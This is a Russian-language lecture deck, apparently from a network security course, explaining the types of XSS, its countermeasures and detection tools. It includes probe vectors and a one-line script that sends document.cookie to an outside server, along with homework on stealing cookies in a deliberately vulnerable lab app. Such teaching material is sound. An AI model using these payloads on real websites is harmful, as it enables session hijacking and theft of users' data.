Вы находитесь на странице: 1из 11

Практические аспекты сетевой

безопасности

Уязвимости в веб-приложениях
Часть II: XSS
Making things clear
 Терминология
 XSS (Cross-site Scripting) – это название атаки
 недостаток: возможность внедрения кода,
интерпретируемого на клиенте
 причина: некорректное экранирование вывода
 Возможные последствия
 нарушение конфиденциальности/целостности данных
 кража пользовательских сеансов, кража данных из форм
 модификация данных на «лету», deface сайта
 нарушение целостности операций сайта
 перенаправление пользователей на другие ресурсы
 эксплуатация уязвимостей в браузерах пользователей
Обычный XSS
Eng: reflected или non-persistent

• Модуль генерирует
страницу, в которую
помещает данные из HTTP-
запроса
• Структура HTTP-запроса
для реализации атаки:
GET /script?q=url-enc-js
Host: vulnerable-server
• Остается вынудить жертву
перейти по «зараженной»
ссылке
Межмодульный XSS
Eng: stored или persistent
XSS на стороне клиента
Eng: DOM-based XSS

<body>

Select your language:
<select><script>
document.write("<OPTION value=1>" +
document.location.href.substring(document.location.href.indexOf("defa
ult=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>

</body>

http:/server/page?default=<script>alert(document.cookie)</script>
Меры противодействия
 На стороне сервера
 следует различать контексты вывода
 в содержимое тега, в значение атрибута, в значение
переменной JS, в определение CSS-стиля, в URL
 экранирование вывода
 https://www.owasp.org/index.php/
XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
 нельзя использовать черные списки!!!
 На стороне клиента
 отключение JS
 NoScript
 Снижение ущерба (browser security)
 флаг HttpOnly в cookies
Подтверждение XSS
Базовые векторы

 <script>alert(1)</script>
 ‘><script>alert(1)</script>
 “><script>alert(1)</script>
 “ on[event]=“javascript:alert(1)
 Больше на http://ha.ckers.org/xss.html
 Для гурманов: http://html5sec.org/
 Простейшая эксплуатация:
"><script>var img=new Image();
img.src="http://server/" + escape(document.cookie); </script>
Demo: обнаруживаем XSS
Инструменты
 Обнаружение
 XSSRays (расширение для Google Chrome)
 Burp Suite
 Fiddler + Watcher + X5S
 Эксплуатация
 веб-сервер + скрипт на любимом языке
 Shell of the Future
 http://www.andlabs.org/tools.html
Домашнее задание
 Напишите и разверните на локальном веб-
сервере скрипт для протоколирования cookie
 Установите HacMe Bank v2 и найдите там XSS
 используйте XSS для кражи cookie
 используйте XSS для deface’а сайта
 * внедрите Shell of the Future
 Ссылки:
 Книга «XSS Attacks: Cross Site Scripting Exploits and
Defense»
Вопросы?

Вам также может понравиться